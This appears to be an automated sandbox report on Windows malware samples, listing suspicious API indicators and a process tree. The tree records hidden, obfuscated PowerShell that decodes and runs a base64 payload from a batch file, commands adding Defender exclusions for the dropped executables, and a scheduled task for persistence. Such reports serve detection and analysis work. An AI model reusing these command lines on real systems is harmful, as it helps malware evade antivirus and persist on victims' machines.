Token: SeShutdownPrivilege	316	chrome.exe
Token: SeCreatePagefilePrivilege	316	chrome.exe
Token: SeShutdownPrivilege	316	chrome.exe
Token: SeCreatePagefilePrivilege	316	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
316	chrome.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
4716	taskmgr.exe
4716	taskmgr.exe
4716	taskmgr.exe
4716	taskmgr.exe

Suspicious use of SetWindowsHookEx 49 IoCs

pid	Process
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
1740	firefox.exe
220	EXCEL.EXE
220	EXCEL.EXE
220	EXCEL.EXE
220	EXCEL.EXE
220	EXCEL.EXE
220	EXCEL.EXE
220	EXCEL.EXE
220	EXCEL.EXE
220	EXCEL.EXE
220	EXCEL.EXE
220	EXCEL.EXE
220	EXCEL.EXE
2352	EXCEL.EXE
2352	EXCEL.EXE
2352	EXCEL.EXE
2352	EXCEL.EXE
2352	EXCEL.EXE
2352	EXCEL.EXE
2352	EXCEL.EXE
2352	EXCEL.EXE
2352	EXCEL.EXE
2352	EXCEL.EXE
2352	EXCEL.EXE
2352	EXCEL.EXE
3528	Explorer.EXE
3528	Explorer.EXE
3528	Explorer.EXE
3528	Explorer.EXE
3528	Explorer.EXE
3528	Explorer.EXE
2312	mspaint.exe
2312	mspaint.exe
2312	mspaint.exe
2312	mspaint.exe
3528	Explorer.EXE
3528	Explorer.EXE
4300	mspaint.exe
4900	OpenWith.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3080 wrote to memory of 1932	3080	rundll32.exe	86
PID 3080 wrote to memory of 1932	3080	rundll32.exe	86
PID 3080 wrote to memory of 1932	3080	rundll32.exe	86
PID 316 wrote to memory of 1124	316	chrome.exe	100
PID 316 wrote to memory of 1124	316	chrome.exe	100
PID 316 wrote to memory of 744	316	chrome.exe	101
PID 316 wrote to memory of 744	316	chrome.exe	101
PID 316 wrote to memory of 744	316	chrome.exe	101
PID 316 wrote to memory of 744	316	chrome.exe	101
PID 316 wrote to memory of 744	316	chrome.exe	101
PID 316 wrote to memory of 744	316	chrome.exe	101
PID 316 wrote to memory of 744	316	chrome.exe	101
PID 316 wrote to memory of 744	316	chrome.exe	101
PID 316 wrote to memory of 744	316	chrome.exe	101
PID 316 wrote to memory of 744	316	chrome.exe	101
PID 316 wrote to memory of 744	316	chrome.exe	101
PID 316 wrote to memory of 744	316	chrome.exe	101
PID 316 wrote to memory of 744	316	chrome.exe	101
PID 316 wrote to memory of 744	316	chrome.exe	101
PID 316 wrote to memory of 744	316	chrome.exe	101
PID 316 wrote to memory of 744	316	chrome.exe	101
PID 316 wrote to memory of 744	316	chrome.exe	101
PID 316 wrote to memory of 744	316	chrome.exe	101
PID 316 wrote to memory of 744	316	chrome.exe	101
PID 316 wrote to memory of 744	316	chrome.exe	101
PID 316 wrote to memory of 744	316	chrome.exe	101
PID 316 wrote to memory of 744	316	chrome.exe	101
PID 316 wrote to memory of 744	316	chrome.exe	101
PID 316 wrote to memory of 744	316	chrome.exe	101
PID 316 wrote to memory of 744	316	chrome.exe	101
PID 316 wrote to memory of 744	316	chrome.exe	101
PID 316 wrote to memory of 744	316	chrome.exe	101
PID 316 wrote to memory of 744	316	chrome.exe	101
PID 316 wrote to memory of 744	316	chrome.exe	101
PID 316 wrote to memory of 744	316	chrome.exe	101
PID 316 wrote to memory of 4380	316	chrome.exe	102
PID 316 wrote to memory of 4380	316	chrome.exe	102
PID 316 wrote to memory of 552	316	chrome.exe	103
PID 316 wrote to memory of 552	316	chrome.exe	103
PID 316 wrote to memory of 552	316	chrome.exe	103
PID 316 wrote to memory of 552	316	chrome.exe	103
PID 316 wrote to memory of 552	316	chrome.exe	103
PID 316 wrote to memory of 552	316	chrome.exe	103
PID 316 wrote to memory of 552	316	chrome.exe	103
PID 316 wrote to memory of 552	316	chrome.exe	103
PID 316 wrote to memory of 552	316	chrome.exe	103
PID 316 wrote to memory of 552	316	chrome.exe	103
PID 316 wrote to memory of 552	316	chrome.exe	103
PID 316 wrote to memory of 552	316	chrome.exe	103
PID 316 wrote to memory of 552	316	chrome.exe	103
PID 316 wrote to memory of 552	316	chrome.exe	103
PID 316 wrote to memory of 552	316	chrome.exe	103
PID 316 wrote to memory of 552	316	chrome.exe	103
PID 316 wrote to memory of 552	316	chrome.exe	103
PID 316 wrote to memory of 552	316	chrome.exe	103
PID 316 wrote to memory of 552	316	chrome.exe	103
PID 316 wrote to memory of 552	316	chrome.exe	103
PID 316 wrote to memory of 552	316	chrome.exe	103
PID 316 wrote to memory of 552	316	chrome.exe	103
PID 316 wrote to memory of 552	316	chrome.exe	103
PID 316 wrote to memory of 552	316	chrome.exe	103
PID 316 wrote to memory of 552	316	chrome.exe	103
PID 316 wrote to memory of 552	316	chrome.exe	103
PID 316 wrote to memory of 552	316	chrome.exe	103

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	PING.EXE

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	PING.EXE

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Drops file in Program Files directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:3528
- C:\Windows\system32\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\nsDialogs.dll,#1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3080
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\$PLUGINSDIR\nsDialogs.dll,#1
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1932
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1932 -s 636
      4⤵
      Program crash
      PID:2880
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe"
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:316
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ffb3882cc40,0x7ffb3882cc4c,0x7ffb3882cc58
    3⤵
    PID:1124
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1932,i,16201709713281034515,15700786508585377211,262144 --variations-seed-version=20250128-180236.310000 --mojo-platform-channel-handle=1928 /prefetch:2
    3⤵
    PID:744
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2176,i,16201709713281034515,15700786508585377211,262144 --variations-seed-version=20250128-180236.310000 --mojo-platform-channel-handle=2224 /prefetch:3
    3⤵
    PID:4380
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2312,i,16201709713281034515,15700786508585377211,262144 --variations-seed-version=20250128-180236.310000 --mojo-platform-channel-handle=2324 /prefetch:8
    3⤵
    PID:552
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3156,i,16201709713281034515,15700786508585377211,262144 --variations-seed-version=20250128-180236.310000 --mojo-platform-channel-handle=3176 /prefetch:1
    3⤵
    PID:4432
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3416,i,16201709713281034515,15700786508585377211,262144 --variations-seed-version=20250128-180236.310000 --mojo-platform-channel-handle=3424 /prefetch:1
    3⤵
    PID:2164
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4560,i,16201709713281034515,15700786508585377211,262144 --variations-seed-version=20250128-180236.310000 --mojo-platform-channel-handle=3716 /prefetch:1
    3⤵
    PID:4128
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4880,i,16201709713281034515,15700786508585377211,262144 --variations-seed-version=20250128-180236.310000 --mojo-platform-channel-handle=4944 /prefetch:8
    3⤵
    PID:4788
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4708,i,16201709713281034515,15700786508585377211,262144 --variations-seed-version=20250128-180236.310000 --mojo-platform-channel-handle=4768 /prefetch:8
    3⤵
    PID:2172
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=4776,i,16201709713281034515,15700786508585377211,262144 --variations-seed-version=20250128-180236.310000 --mojo-platform-channel-handle=5184 /prefetch:1
    3⤵
    PID:4212
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=4068,i,16201709713281034515,15700786508585377211,262144 --variations-seed-version=20250128-180236.310000 --mojo-platform-channel-handle=4508 /prefetch:1
    3⤵
    PID:2628
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=5204,i,16201709713281034515,15700786508585377211,262144 --variations-seed-version=20250128-180236.310000 --mojo-platform-channel-handle=4076 /prefetch:1
    3⤵
    PID:1028
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  PID:3284
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe"
    3⤵
    - Checks processor information in registry
    - Modifies registry class
    - NTFS ADS
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of SetWindowsHookEx
    PID:1740
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2032 -parentBuildID 20240401114208 -prefsHandle 1948 -prefMapHandle 1940 -prefsLen 27190 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b8362372-7968-4640-8771-75444dd65bff} 1740 "\\.\pipe\gecko-crash-server-pipe.1740" gpu
      4⤵
      PID:3416
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2444 -parentBuildID 20240401114208 -prefsHandle 2436 -prefMapHandle 2424 -prefsLen 27068 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {56faea3a-aa95-4773-99e8-c402ed67709b} 1740 "\\.\pipe\gecko-crash-server-pipe.1740" socket
      4⤵
      Checks processor information in registry
      PID:2740
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2988 -childID 1 -isForBrowser -prefsHandle 2968 -prefMapHandle 2976 -prefsLen 27209 -prefMapSize 244658 -jsInitHandle 1308 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {38dc1d1b-e972-41b3-9e18-2a2e4fe93aa8} 1740 "\\.\pipe\gecko-crash-server-pipe.1740" tab
      4⤵
      PID:5072
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3948 -childID 2 -isForBrowser -prefsHandle 3932 -prefMapHandle 3944 -prefsLen 32442 -prefMapSize 244658 -jsInitHandle 1308 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5398f349-f162-4128-baca-fcb519f7bb7e} 1740 "\\.\pipe\gecko-crash-server-pipe.1740" tab
      4⤵
      PID:348
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4836 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4884 -prefMapHandle 4880 -prefsLen 32442 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {eed686a6-bd49-44b2-ac9a-5b0eeb546f7d} 1740 "\\.\pipe\gecko-crash-server-pipe.1740" utility
      4⤵
      Checks processor information in registry
      PID:2912
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5296 -childID 3 -isForBrowser -prefsHandle 5228 -prefMapHandle 5288 -prefsLen 27145 -prefMapSize 244658 -jsInitHandle 1308 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {60f4eda6-4ba1-42c0-b3bd-eb19052d400d} 1740 "\\.\pipe\gecko-crash-server-pipe.1740" tab
      4⤵
      PID:4280
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5440 -childID 4 -isForBrowser -prefsHandle 5452 -prefMapHandle 5192 -prefsLen 27145 -prefMapSize 244658 -jsInitHandle 1308 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {78bb078a-ca82-41ab-8012-f69e9cd13768} 1740 "\\.\pipe\gecko-crash-server-pipe.1740" tab
      4⤵
      PID:3312
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5612 -childID 5 -isForBrowser -prefsHandle 5692 -prefMapHandle 5688 -prefsLen 27145 -prefMapSize 244658 -jsInitHandle 1308 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a5490a27-1573-4119-acd0-c7996831fc81} 1740 "\\.\pipe\gecko-crash-server-pipe.1740" tab
      4⤵
      PID:4536
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2936 -childID 6 -isForBrowser -prefsHandle 5972 -prefMapHandle 5968 -prefsLen 28092 -prefMapSize 244658 -jsInitHandle 1308 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d60d3fb2-7a09-4f97-9e2e-bc3d3dede521} 1740 "\\.\pipe\gecko-crash-server-pipe.1740" tab
      4⤵
      PID:4248
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6252 -childID 7 -isForBrowser -prefsHandle 6200 -prefMapHandle 6204 -prefsLen 28092 -prefMapSize 244658 -jsInitHandle 1308 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {dae7f814-4980-4f99-81b2-8f19a59f9b61} 1740 "\\.\pipe\gecko-crash-server-pipe.1740" tab
      4⤵
      PID:4196
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6520 -childID 8 -isForBrowser -prefsHandle 6544 -prefMapHandle 6540 -prefsLen 28092 -prefMapSize 244658 -jsInitHandle 1308 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {82803fa6-8cbb-4ec1-90d8-02be6a8516d0} 1740 "\\.\pipe\gecko-crash-server-pipe.1740" tab
      4⤵
      PID:1040
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5764 -childID 9 -isForBrowser -prefsHandle 5740 -prefMapHandle 5744 -prefsLen 28092 -prefMapSize 244658 -jsInitHandle 1308 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {0d64c50c-21d6-4510-b982-833de1f36f38} 1740 "\\.\pipe\gecko-crash-server-pipe.1740" tab
      4⤵
      PID:4980
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=7052 -childID 10 -isForBrowser -prefsHandle 7060 -prefMapHandle 7084 -prefsLen 28092 -prefMapSize 244658 -jsInitHandle 1308 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a39a0901-6d13-4d01-bbf4-d0ef2d4eeb36} 1740 "\\.\pipe\gecko-crash-server-pipe.1740" tab
      4⤵
      PID:656
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5504 -childID 11 -isForBrowser -prefsHandle 5576 -prefMapHandle 5560 -prefsLen 28092 -prefMapSize 244658 -jsInitHandle 1308 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5024f0df-94f8-492e-b650-b0646e9b039c} 1740 "\\.\pipe\gecko-crash-server-pipe.1740" tab
      4⤵
      PID:4064
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6772 -childID 12 -isForBrowser -prefsHandle 5980 -prefMapHandle 1700 -prefsLen 28092 -prefMapSize 244658 -jsInitHandle 1308 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2a29ce93-9fa9-41df-9ff4-7acd381bc879} 1740 "\\.\pipe\gecko-crash-server-pipe.1740" tab
      4⤵
      PID:2236
- C:\Program Files\7-Zip\7zG.exe
  "C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\" -an -ai#7zMap29236:190:7zEvent22894
  2⤵
  PID:808
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\0c9e474f7402c958fe8c3cedb97a4830a67599f7a2766aee93cd0c41943db0c1.bat" "
  2⤵
  PID:936
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWershelL -W h -CoMMaNd "$CFrslKBWMWE='C:\Users\Admin\Downloads\0c9e474f7402c958fe8c3cedb97a4830a67599f7a2766aee93cd0c41943db0c1.bat';$KoVqNuQqdmR=-189144..-1;$tvUHaNyxsnB=[SYSTem.tExT.ENCOdINg]::utf8.GETsTrING([COnVert]::fRoMBase64stRiNG((geT-ConTeNt $CFrslKBWMWE -Raw)[$KoVqNuQqdmR]));iex $tvUHaNyxsnB"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1676
  - - C:\Windows\system32\taskkill.exe
      "C:\Windows\system32\taskkill.exe" /IM ping.exe /F
      4⤵
      Kills process with taskkill
      PID:1408
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c C:\WIndows\SysWOW64\PING.EXE 127.0.0.1 -t
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      PID:3036
    - - C:\WIndows\SysWOW64\PING.EXE
        
        C:\WIndows\SysWOW64\PING.EXE 127.0.0.1 -t
        5⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1964
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zfba0pre\zfba0pre.cmdline"
      4⤵
      PID:2880
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2907.tmp" "c:\Users\Admin\AppData\Local\Temp\zfba0pre\CSC9237C56776FB4A9E835540DAFBC66D9C.TMP"
        5⤵
        
        PID:1588
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\0c9e474f7402c958fe8c3cedb97a4830a67599f7a2766aee93cd0c41943db0c1.bat" "
  2⤵
  PID:3312
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWershelL -W h -CoMMaNd "$CFrslKBWMWE='C:\Users\Admin\Downloads\0c9e474f7402c958fe8c3cedb97a4830a67599f7a2766aee93cd0c41943db0c1.bat';$KoVqNuQqdmR=-189144..-1;$tvUHaNyxsnB=[SYSTem.tExT.ENCOdINg]::utf8.GETsTrING([COnVert]::fRoMBase64stRiNG((geT-ConTeNt $CFrslKBWMWE -Raw)[$KoVqNuQqdmR]));iex $tvUHaNyxsnB"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4304
  - - C:\Windows\system32\taskkill.exe
      "C:\Windows\system32\taskkill.exe" /IM ping.exe /F
      4⤵
      Kills process with taskkill
      PID:4996
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c C:\WIndows\SysWOW64\PING.EXE 127.0.0.1 -t
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      PID:2336
    - - C:\WIndows\SysWOW64\PING.EXE
        
        C:\WIndows\SysWOW64\PING.EXE 127.0.0.1 -t
        5⤵
        Accesses Microsoft Outlook profiles
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        Suspicious behavior: EnumeratesProcesses
        outlook_office_path
        outlook_win_path
        
        PID:3756
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\z53byaog\z53byaog.cmdline"
      4⤵
      PID:2376
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3154.tmp" "c:\Users\Admin\AppData\Local\Temp\z53byaog\CSC4C9E202433DD4763989447E0D76B3694.TMP"
        5⤵
        
        PID:4092
- C:\Program Files\7-Zip\7zG.exe
  "C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\" -an -ai#7zMap491:190:7zEvent9982
  2⤵
  PID:4976
- C:\Users\Admin\Downloads\a7fc129cd3069c3c862c28990c131e3dae5fff42c5ab8cb034e8e8ea12bec94e.exe
  "C:\Users\Admin\Downloads\a7fc129cd3069c3c862c28990c131e3dae5fff42c5ab8cb034e8e8ea12bec94e.exe"
  2⤵
  - Checks computer location settings
  - Suspicious use of SetThreadContext
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:4660
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Downloads\a7fc129cd3069c3c862c28990c131e3dae5fff42c5ab8cb034e8e8ea12bec94e.exe"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:940
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\jZhgVFz.exe"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:3232
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\jZhgVFz" /XML "C:\Users\Admin\AppData\Local\Temp\tmp2C4E.tmp"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2384
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
